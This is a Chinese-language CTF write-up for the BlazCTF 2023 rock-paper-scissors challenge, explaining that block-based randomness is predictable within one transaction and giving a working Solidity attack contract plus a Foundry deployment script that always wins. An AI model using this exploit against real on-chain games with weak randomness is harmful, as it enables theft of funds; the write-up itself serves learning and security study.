Skip to content

Latest commit

 

History

History
72 lines (55 loc) · 1.98 KB

rock-paper-scissor.md

File metadata and controls

72 lines (55 loc) · 1.98 KB

题目来自 https://github.com/fuzzland/blazctf-2023/tree/main/challenges/rock-paper-scissor

使用blocknumber作为随机数参数是非常危险的。 跨合约调用的block信息相同,因为它们在同一交易内执行,EVM确保区块信息在整个交易过程中一致。 因此我们可以编写攻击合约代码如下。该合约获取了Challenge合约相同的 randomShape (其中msg.sender改成了攻击合约的地址)。然后发送必胜的结果就行。

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

enum Hand {
    Rock,
    Paper,
    Scissors
}

interface IRockPaperScissors {
    function tryToBeatMe(Hand yours) external payable;
}

interface IChallenge {
    function rps() external view returns (address);
}

contract Solution {
    IChallenge challenge;
    IRockPaperScissors rps;

    constructor(address challengeAddress) {
        challenge = IChallenge(challengeAddress);
        rps = IRockPaperScissors(challenge.rps());
    }

    function randomShape() internal view returns (Hand) {
        return Hand(uint256(keccak256(abi.encodePacked(address(this), blockhash(block.number - 1)))) % 3);    
    }

    function execute() external payable {
        Hand target = randomShape();
        uint8 choice = (uint8(target) + 1) % 3;
        Hand choiceHand = Hand(choice);
        rps.tryToBeatMe{value: msg.value}(choiceHand);
    }
}

部署脚本如下

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Script, console} from "forge-std/Script.sol";
import {Solution} from "../src/Solution.sol";

contract DeployScript is Script {
    Solution public solution;

    function setUp() public {}

    function run() public {
        vm.startBroadcast();
        solution = new Solution(0x8661783352F06be92EB46424881d88AE65d18e6E);
        solution.execute();       
        vm.stopBroadcast();
    }
}

执行命令

forge script script/Deploy.s.sol:DeployScript --rpc-url $RPC_URL --private-key $PRIVATE_KEY --broadcast